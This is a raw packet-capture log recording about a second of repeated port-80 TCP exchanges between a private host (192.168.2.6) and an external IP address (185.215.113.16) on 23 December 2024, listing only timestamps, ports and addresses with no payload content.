Dec 23, 2024 06:53:37.648159981 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.648940086 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.649053097 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.649245024 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.649873972 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.649992943 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.650038004 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.650831938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.650938034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.650991917 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.651748896 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.651864052 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.652713060 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.652766943 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.652800083 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.652852058 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.653645992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.653743982 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.653788090 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.654576063 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.654700041 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.654741049 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.655524015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.655627012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.655693054 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.656471014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.656620026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.656663895 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.657390118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.657490015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.658351898 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.658399105 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.658463955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.658507109 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.659287930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.659373999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.659426928 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.660233974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.660267115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.660391092 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.661160946 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.661299944 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.661344051 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.662163973 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.662182093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.662228107 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.663041115 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.663225889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.663997889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.664042950 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.664097071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.664133072 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.664925098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.665021896 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.665570974 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.665859938 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.665977955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.666040897 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.666795015 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.666899920 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.666938066 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.667733908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.667859077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.667962074 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.668678999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.668787956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.668833017 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.669615984 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.669713020 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.670552969 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.670594931 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.670656919 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.670958042 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.671485901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.671586990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.671629906 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.672439098 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.672544956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.672585964 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.673348904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.673686028 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.673747063 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.674304008 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.674396038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.674437046 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.675283909 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.675368071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.675410986 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.676213026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.676338911 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.677038908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.677117109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.677265882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.677316904 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.678075075 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.678184032 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.678227901 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.679044008 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.679138899 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.679187059 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.679992914 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.680110931 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.680157900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.680881023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.681006908 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.681045055 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.681819916 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.681930065 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.681993961 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.682826996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.683039904 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.683115005 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.683707952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.683815956 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.683862925 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.684654951 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.684753895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.684793949 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.685575008 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.685698986 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.685842991 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.686513901 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.686641932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.686676979 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.687458992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.687623024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.687712908 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.688388109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.688467979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.688507080 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.689341068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.689518929 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.690288067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.690336943 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.690483093 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.690737009 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.691215992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.691406012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.691451073 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.692162991 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.692260027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.692295074 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.693141937 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.693209887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.693249941 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.694041014 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.694180012 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.694221973 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.694972992 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.742163897 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.838479042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.838515997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.838578939 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.838748932 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.838922977 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.839690924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.839735031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.839824915 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.839865923 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.840622902 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.840781927 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.840821981 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.841553926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.841694117 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.841744900 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.842521906 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.842648029 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.843167067 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.843450069 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.843575954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.843622923 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.844371080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.844481945 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.844527006 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.845315933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.845566034 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.845613003 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.846250057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.846364975 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.846405983 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.847187042 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.847318888 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.847393036 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.848128080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.848248005 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.848313093 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.849064112 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.849174023 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.849215031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.850008965 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.850135088 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.850192070 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.850944996 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.851073027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.851186037 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.851870060 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.851991892 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.852844954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.852890015 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.852952003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.852988005 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.853760958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.853847980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.853926897 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.854707003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.854825974 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.854886055 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.855642080 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.855767965 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.855808020 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.856585026 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.856724977 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.856770039 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.857537985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.857634068 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.857673883 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.858494997 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.858558893 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.858680964 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.859432936 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.859535933 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.859607935 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.860356092 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.860452890 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.860496044 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.861279011 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.861354113 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.861452103 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.862229109 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.862360954 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.862397909 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.863164902 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.863272905 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.863357067 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.864101887 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.864211082 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.864259005 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.865035057 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.865156889 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.865197897 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.865987062 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.866065979 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.866374969 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.866925001 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.867053986 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.867146969 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.867867947 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.867969036 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.868010998 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.868803024 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.868906975 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.868993044 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.869738102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.869858027 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.869920969 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.870660067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.870785952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.870826960 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.871625900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.871738911 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.871805906 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.872570038 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.872659922 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.872756004 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.872773886 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.873503923 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.873596907 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.874454021 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.874507904 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.874577045 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.874846935 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.875368118 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.875505924 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.875550032 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.876313925 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.876431942 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.876678944 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.877274990 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.877370119 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.877405882 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.878196955 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.878299952 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.878565073 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.879123926 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.879245043 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.879278898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.880078077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.880179882 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.880261898 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.880990028 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.881102085 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.881143093 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.881944895 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.882117033 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.882153988 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.882894039 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.883058071 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.883102894 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.883835077 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.883933067 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.883996010 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.884357929 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.884758949 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.884886980 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.884937048 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.885735989 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.885848999 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.885890007 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.886631966 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.886760950 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.886929035 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.887540102 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:37.922106981 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:37.934860945 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.030353069 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.030447006 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.030781031 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.030818939 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.030940056 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.030980110 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.031744003 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.031886101 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.032203913 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.032707930 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.032850981 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.032891989 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.033672094 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.033766985 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.033811092 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.034538031 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.034658909 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.034694910 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.035469055 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.035594940 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.035638094 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.036456108 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.036520958 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.036623001 CET	49758	80	192.168.2.6	185.215.113.16
Dec 23, 2024 06:53:38.037355900 CET	80	49758	185.215.113.16	192.168.2.6
Dec 23, 2024 06:53:38.037477970 CET	80	49758	185.215.113.16	192.168.2.6
